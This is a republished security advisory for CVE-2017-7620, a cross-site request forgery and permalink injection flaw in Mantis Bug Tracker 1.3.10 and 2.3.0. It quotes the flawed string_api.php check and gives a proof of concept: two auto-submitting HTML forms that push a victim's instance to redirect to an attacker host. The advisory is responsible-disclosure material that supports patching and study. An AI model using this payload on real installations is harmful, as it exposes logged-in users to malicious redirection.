首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery
来源:hyp3rlinx.altervista.org 作者:hyp3rlinx 发布时间:2017-05-22  
[+] Credits: John Page a.k.a hyp3rlinx 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec           
 
 
 
Vendor:
================
www.mantisbt.org
 
 
 
Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0
 
 
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
 
 
 
Vulnerability Type:
========================
CSRF Permalink Injection
 
 
 
CVE Reference:
==============
CVE-2017-7620
 
 
 
Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.
 
Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270
 
# Check for URL's pointing to other domains
 
if( 0 == $t_type || empty( $t_matches['script'] ) ||
    
    3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {
 
    
 
    return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';
 
}
 
 
 
# Start extracting regex matches
 
$t_script = $t_matches['script'];      
$t_script_path = $t_matches['path'];
 
 
 
 
Exploit/POC:
=============
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
<script>document.forms[0].submit()</script>
</form>
 
OR
 
<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
<script>document.forms[0].submit()</script>
</form>
 
 
 
Network Access:
===============
Remote
 
 
 
 
Severity:
=========
Medium
 
 
 
Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure
 
 
 
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
 
hyp3rlinx
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Secure Auditor 3.0 - Directory
·Pegasus 4.72 Build 572 Remote
·Sure Thing Disc Labeler 6.2.13
·VMware Workstation for Linux 1
·Microsoft Windows Windows 7/20
·Linux Kernel 4.11 - eBPF Verif
·Microsoft Windows Windows 8/20
·MediaWiki SyntaxHighlight Exte
·Oracle PeopleSoft - XML Extern
·Sync Breeze Enterprise GET Buf
·BuilderEngine 3.5.0 - Arbitrar
·VX Search Enterprise GET Buffe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved